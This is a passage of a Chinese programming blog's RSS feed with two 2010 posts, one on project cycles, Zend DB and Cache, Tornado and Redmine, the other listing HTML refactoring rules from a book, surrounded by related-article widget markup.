                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP记事本程序（三）----持续改进</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2010/10/23/dedecms-nginx-rewrite/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>杂记</title>
		<link>http://fendou.org/2010/09/18/miscellanea/</link>
		<comments>http://fendou.org/2010/09/18/miscellanea/#comments</comments>
		<pubDate>Sat, 18 Sep 2010 14:52:52 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Life Diary]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[乱讲]]></category>
		<category><![CDATA[回忆]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=729</guid>
		<description><![CDATA[本来要学老王，取名叫乱炖，老王一直执着的用这个词，那我就换一个吧。一个多月没写博客了，前面一段时间是因为实在太忙，后面是懒，疯狂加班之后回家就什么都不想动，过了经过差不多一个多星期的正常人生活，现在终于缓过神来了。这个项目差不多是我加入以来我做过的最大的项目，很累，也很疯狂，项目还在继续，迭代一轮一轮的进行中。留下点笔记，记个印象。 1、项目开始的时候往往思想很宽泛，这个想要，那个想要，每一个功能都是无敌的，每一个功能都是必须的。我一直不赞同一开始就把产品设计的看上去很大很全，主要基于两个理由： 第一，产品一开始设计得大而全，会导致开发周期被拉长，在没有经过市场检验或者最终用户使用的时候，过长的周期会导致开发人员效率降低，没有人愿意做一个看不到前景的产品，没有来自最前线新的需求刺激，没人知道这个东西是不是靠谱的，很长的开发周期还会导致开发人员的疲惫，当然这个可能有些公司不一样，如果人手充足，这个情况或许不那么明显，但据我所知，所有的公司都是缺人的，特别是IT公司，为项目加班是常事，如果这个项目周期再长一点的话，估计就崩溃了。 第二,产品一开始就设计得大而全会导致设计出很多无用的功能，每个人都知道一个产品存在的意义在于其20%的功能，或许有人要反驳，我不预先搞多一点功能，我怎么知道那20%的功能是什么。这个疑问是有道理的，问题就在于，如果我们不能找出最精华的20%功能是什么，那么我们或许可以把圈子放大到30%，40%，甚至更大一点的范围，我们的工期也会缩短很多，避免做无谓的工作。 2、关于开发周期，我觉得最好不要超过一个自然月，一个月20个工作日，除掉UI和页面部分设计，再除去测试和修Bug时间，留给研发的时间大约40%~60%，也就是8~12个工作日，如果只需少量页面方面工作，留个研发的时间会多3~5个工作日。研发工作大约两个星期的，大部分正常上班时间是完不成工作的，不可控的因素有很多，所以这个阶段，可能会加班加点，稍微放松的时刻留在bug修复阶段和后续迭代的UI及页面设计阶段，这个阶段如果稍作控制，可以避免研发人员加班，有至少一个星期的时间让心情得到释放。 3、以上两点基本上接近了敏捷开发的管理流程，敏捷开发在最大限度的保证质量和兼顾项目人员之间的平衡，套用一句话，如果实施了敏捷开发，员工没有离职，那一定是加工资了，如果没有加薪，那一定会离职。需求的不断刺激和短周期的迭代，会导致项目人员情绪的紧张和工作的高压。 4、关于Zend DB，这个玩意的可移植性确实不错，稍作整合，就能嵌入其他框架，但是这玩意最好还是别用在复杂的项目中，而且由于Zend DB本身的设计问题，很多东西你不得不去搞个很变态的方式去解决，比如计算符合条件记录总数。可能由于出于降低耦合度的目的，Zend DB 本身不自动设置缓存，每次需要在action，在新建的每个Model中都要去写和缓存相关的代码，当然解决办法也是有的，就是自己在为Zend DB增加一个组件，将接口和数据库操作给整合进去，然后新建的Model不再继承原先的Zend_Db_Abstract，而是继承你增加的那个组件，从而做到相对优雅的使用缓存。不过我还是推崇，直接写SQL，虽然看起来不那么优雅，但是更容易掌控，对项目日后的调优，非常有益，在复杂逻辑的时候表现优越，如果只是单表操作，ORM依然是不错的选择。至于怎么选择，取决于你的需求，和你项目组人员的整体水平。 5、关于Zend Cache，这个玩意是个好东西，让我们在本地写程序的时候可以方便的使用文件缓存，到服务器上也很方便的改成memcache缓存，少排了好多二氧化碳，Zend组件最优越的地方就是可以轻松的整合，偷懒少写了好多代码，唯一用的不爽的地方是Zend Cache的Tag功能，这个功能本来是个很cool，很有用的功能，但是因为大部分key-value缓存不支持这个玩意，这个东西变成了只有文件缓存时可用，但是在每次save一个缓存的时候，如果需要给这个缓存加个过期时间的话，就得这样写:$cache->save($data, $cache_key, $tag, $expire)，因为memcache不支持这个玩意，这时候每次传入的tag就是一个空的数组，我就一直不明白为啥$tag不放到最后一个参数，毕竟所以的缓存类型都支持过期时间，而只有文件缓存才支持Tag 6、关于Tornado（被墙了）,我不知道国内用的人多不多，源代码hosting在github上，从邮件列表来看，似乎国内用的人不多，在华莽用户组这样的Python社区里面都几乎没有人提及，这个玩意非阻塞性的Web Server，集成了Web Framework 和 Web Server，我有幸能在我的试验性项目中使用这个东西，提供一组数据，没啥用处，供需要的人参考，单个进程大约能支持1.2K左右的活动链接，当然，要在Linux服务器上，并且支持epoll，多进程可以到2K，占用内存在100M以内，服务器没有任何异常，有进一步挖掘的潜力，我估计能超过3K，当然不建议你这么做，因为Server的后端可能处理不过来了，如果你想动手实现一个Web IM 之类的应用，Tornado是最佳选择之一，另外，如果用来做Web游戏的Server，也是非常合适的，Tornado的Web Framework这一块还很简陋，非高级人员+非Geek人员，不建议用来做产品开发 7、如果你还在寻找一个项目管理工具，我建议你使用Redmine，这玩意能够显著帮助你的团队减少抱怨，减少无效沟通，能够让上下游的同事更自如的安排计划，当然，这一切还需要你做一个布置，平台是死的，需要大家往里面填充属于自己的东西<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="超级简单Python Socket Server一例" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F08%2F05%2Fpython-socket-server-simple-example%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F09%2F18%2Fmiscellanea%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185006.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">超级简单Python Socket Server一例</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Python PIL 生成带阴影的缩略图" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2011%2F01%2F31%2Fpython-pil-shadow-thumb%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F09%2F18%2Fmiscellanea%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/11/20/11136487.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Python PIL 生成带阴影的缩略图</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Python 批量生成缩略图" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2011%2F01%2F31%2Fpython-thumb-image%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F09%2F18%2Fmiscellanea%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Python 批量生成缩略图</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Python和其他语言数据类型比较" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F03%2F16%2Fpython-and-programming%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F09%2F18%2Fmiscellanea%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Python和其他语言数据类型比较</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="python非贪婪、多行匹配正则表达式例子" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F11%2F19%2Fpython-multi-line-non-greedy-regular-expression-sample%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F09%2F18%2Fmiscellanea%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">python非贪婪、多行匹配正则表达式例子</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>本来要学<a href="http://hi.baidu.com/thinkinginlamp">老王</a>，取名叫乱炖，老王一直执着的用这个词，那我就换一个吧。一个多月没写博客了，前面一段时间是因为实在太忙，后面是懒，疯狂加班之后回家就什么都不想动，过了经过差不多一个多星期的正常人生活，现在终于缓过神来了。这个项目差不多是我加入以来我做过的最大的项目，很累，也很疯狂，项目还在继续，迭代一轮一轮的进行中。留下点笔记，记个印象。<br />
1、项目开始的时候往往思想很宽泛，这个想要，那个想要，每一个功能都是无敌的，每一个功能都是必须的。我一直不赞同一开始就把产品设计的看上去很大很全，主要基于两个理由：<br />
第一，产品一开始设计得大而全，会导致开发周期被拉长，在没有经过市场检验或者最终用户使用的时候，过长的周期会导致开发人员效率降低，没有人愿意做一个看不到前景的产品，没有来自最前线新的需求刺激，没人知道这个东西是不是靠谱的，很长的开发周期还会导致开发人员的疲惫，当然这个可能有些公司不一样，如果人手充足，这个情况或许不那么明显，但据我所知，所有的公司都是缺人的，特别是IT公司，为项目加班是常事，如果这个项目周期再长一点的话，估计就崩溃了。<br />
第二,产品一开始就设计得大而全会导致设计出很多无用的功能，每个人都知道一个产品存在的意义在于其20%的功能，或许有人要反驳，我不预先搞多一点功能，我怎么知道那20%的功能是什么。这个疑问是有道理的，问题就在于，如果我们不能找出最精华的20%功能是什么，那么我们或许可以把圈子放大到30%，40%，甚至更大一点的范围，我们的工期也会缩短很多，避免做无谓的工作。<br />
2、关于开发周期，我觉得最好不要超过一个自然月，一个月20个工作日，除掉UI和页面部分设计，再除去测试和修Bug时间，留给研发的时间大约40%~60%，也就是8~12个工作日，如果只需少量页面方面工作，留个研发的时间会多3~5个工作日。研发工作大约两个星期的，大部分正常上班时间是完不成工作的，不可控的因素有很多，所以这个阶段，可能会加班加点，稍微放松的时刻留在bug修复阶段和后续迭代的UI及页面设计阶段，这个阶段如果稍作控制，可以避免研发人员加班，有至少一个星期的时间让心情得到释放。<br />
3、以上两点基本上接近了敏捷开发的管理流程，敏捷开发在最大限度的保证质量和兼顾项目人员之间的平衡，套用一句话，如果实施了敏捷开发，员工没有离职，那一定是加工资了，如果没有加薪，那一定会离职。需求的不断刺激和短周期的迭代，会导致项目人员情绪的紧张和工作的高压。<br />
4、关于Zend DB，这个玩意的可移植性确实不错，稍作整合，就能嵌入其他框架，但是这玩意最好还是别用在复杂的项目中，而且由于Zend DB本身的设计问题，很多东西你不得不去搞个很变态的方式去解决，比如计算符合条件记录总数。可能由于出于降低耦合度的目的，Zend DB 本身不自动设置缓存，每次需要在action，在新建的每个Model中都要去写和缓存相关的代码，当然解决办法也是有的，就是自己在为Zend DB增加一个组件，将接口和数据库操作给整合进去，然后新建的Model不再继承原先的Zend_Db_Abstract，而是继承你增加的那个组件，从而做到相对优雅的使用缓存。不过我还是推崇，直接写SQL，虽然看起来不那么优雅，但是更容易掌控，对项目日后的调优，非常有益，在复杂逻辑的时候表现优越，如果只是单表操作，ORM依然是不错的选择。至于怎么选择，取决于你的需求，和你项目组人员的整体水平。<br />
5、关于Zend Cache，这个玩意是个好东西，让我们在本地写程序的时候可以方便的使用文件缓存，到服务器上也很方便的改成memcache缓存，少排了好多二氧化碳，Zend组件最优越的地方就是可以轻松的整合，偷懒少写了好多代码，唯一用的不爽的地方是Zend Cache的Tag功能，这个功能本来是个很cool，很有用的功能，但是因为大部分key-value缓存不支持这个玩意，这个东西变成了只有文件缓存时可用，但是在每次save一个缓存的时候，如果需要给这个缓存加个过期时间的话，就得这样写:$cache->save($data, $cache_key, $tag, $expire)，因为memcache不支持这个玩意，这时候每次传入的tag就是一个空的数组，我就一直不明白为啥$tag不放到最后一个参数，毕竟所以的缓存类型都支持过期时间，而只有文件缓存才支持Tag<br />
6、关于<a href="http://www.tornadoweb.org/">Tornado</a>（被墙了）,我不知道国内用的人多不多，<a href="http://github.com/facebook/tornado">源代码hosting在github上</a>，从邮件列表来看，似乎国内用的人不多，在华莽用户组这样的Python社区里面都几乎没有人提及，这个玩意非阻塞性的Web Server，集成了Web Framework 和 Web Server，我有幸能在我的试验性项目中使用这个东西，提供一组数据，没啥用处，供需要的人参考，单个进程大约能支持1.2K左右的活动链接，当然，要在Linux服务器上，并且支持epoll，多进程可以到2K，占用内存在100M以内，服务器没有任何异常，有进一步挖掘的潜力，我估计能超过3K，当然不建议你这么做，因为Server的后端可能处理不过来了，如果你想动手实现一个Web IM 之类的应用，Tornado是最佳选择之一，另外，如果用来做Web游戏的Server，也是非常合适的，Tornado的Web Framework这一块还很简陋，非高级人员+非Geek人员，不建议用来做产品开发<br />
7、如果你还在寻找一个项目管理工具，我建议你使用<a href="http://www.redmine.org/">Redmine</a>，这玩意能够显著帮助你的团队减少抱怨，减少无效沟通，能够让上下游的同事更自如的安排计划，当然，这一切还需要你做一个布置，平台是死的，需要大家往里面填充属于自己的东西</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="超级简单Python Socket Server一例" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F08%2F05%2Fpython-socket-server-simple-example%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F09%2F18%2Fmiscellanea%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185006.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">超级简单Python Socket Server一例</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Python PIL 生成带阴影的缩略图" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2011%2F01%2F31%2Fpython-pil-shadow-thumb%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F09%2F18%2Fmiscellanea%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/11/20/11136487.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Python PIL 生成带阴影的缩略图</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Python 批量生成缩略图" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2011%2F01%2F31%2Fpython-thumb-image%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F09%2F18%2Fmiscellanea%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Python 批量生成缩略图</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Python和其他语言数据类型比较" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F03%2F16%2Fpython-and-programming%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F09%2F18%2Fmiscellanea%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Python和其他语言数据类型比较</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="python非贪婪、多行匹配正则表达式例子" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F11%2F19%2Fpython-multi-line-non-greedy-regular-expression-sample%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F09%2F18%2Fmiscellanea%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">python非贪婪、多行匹配正则表达式例子</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2010/09/18/miscellanea/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTML重构的一些最佳实践</title>
		<link>http://fendou.org/2010/01/06/html-refactoring-one/</link>
		<comments>http://fendou.org/2010/01/06/html-refactoring-one/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 09:16:11 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Study & Reading]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=636</guid>
		<description><![CDATA[以下所有内容都摘自《重构HTML这本书》，留在这里做个笔记。版权属于原作者。 1、将名称改为小写。所有的元素和属性的名称都要小写，大部分实体名称也要小写，当然设计大写字母的除外。 2、给所有的属性都加上引号。 3、补足遗漏的属性值。为所有不带属性值的属性加上属性值。如：&#60;input type=”radio” checked&#62;应该改成：&#60;input type=”radio” checked=”checked”&#62; 4、将空标签替换成空元素标签，如将&#60;br&#62;这样的元素替换为&#60;br class=”empty” /&#62; 5、添加结束标签。关闭所有的段落、清单项目、表格单元格和其他非空的元素 6、消除重叠，在父级元素上关闭每个子元素 7、把文本转换成UTF-8，因为他是唯一全平台支持的字符集 8、转义小于号，尽管有些浏览器有时候能够复原未转义的小于号，但并不是所有的浏览器都能。一个未转义的小于号更有可能导致浏览器中的内容被隐藏。就算你没有完全转换成XHTML，这也是一个需要修复的问题。 9、转义&#38;符号，把&#38;转换成&#38;amp;尽管大部分浏览器都可以处理空格后原始的&#38;符号，但是如果没有空格会迷惑一小部分浏览器。未经转义的&#38;符号会对读者隐藏。 10、替换虚构的实体引用，如将&#38;copyright; 替换成＆copy; 11、加入根元素，确保每个页面都一个html根元素。<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F06%2Fhtml-refactoring-one%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">关于PHP最佳实践方法的两个PPT</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F06%2Fhtml-refactoring-one%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F06%2Fhtml-refactoring-one%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F12%2F05%2Fvisibility-in-php%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F06%2Fhtml-refactoring-one%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Visibility in PHP</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F06%2Fhtml-refactoring-one%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.douban.com/subject/3870645/"><img style="float:left;padding:0 20px 20px 0;border:0" src="http://t.douban.com/mpic/s3890918.jpg" alt="" /></a>以下所有内容都摘自<a title="重构HTML" href="http://www.douban.com/subject/3870645/" target="_blank">《重构HTML这本书》</a>，留在这里做个笔记。版权属于原作者。</p>
<p>1、将名称改为小写。所有的元素和属性的名称都要小写，大部分实体名称也要小写，当然设计大写字母的除外。<br />
2、给所有的属性都加上引号。<br />
3、补足遗漏的属性值。为所有不带属性值的属性加上属性值。如：&lt;input type=”radio” checked&gt;应该改成：&lt;input type=”radio” checked=”checked”&gt;<br />
4、将空标签替换成空元素标签，如将&lt;br&gt;这样的元素替换为&lt;br class=”empty” /&gt;<br />
5、添加结束标签。关闭所有的段落、清单项目、表格单元格和其他非空的元素<br />
6、消除重叠，在父级元素上关闭每个子元素<br />
7、把文本转换成UTF-8，因为他是唯一全平台支持的字符集<br />
8、转义小于号，尽管有些浏览器有时候能够复原未转义的小于号，但并不是所有的浏览器都能。一个未转义的小于号更有可能导致浏览器中的内容被隐藏。就算你没有完全转换成XHTML，这也是一个需要修复的问题。<br />
9、转义&amp;符号，把&amp;转换成&amp;amp;尽管大部分浏览器都可以处理空格后原始的&amp;符号，但是如果没有空格会迷惑一小部分浏览器。未经转义的&amp;符号会对读者隐藏。<br />
10、替换虚构的实体引用，如将&amp;copyright; 替换成＆copy;<br />
11、加入根元素，确保每个页面都一个html根元素。</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F06%2Fhtml-refactoring-one%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">关于PHP最佳实践方法的两个PPT</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F06%2Fhtml-refactoring-one%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
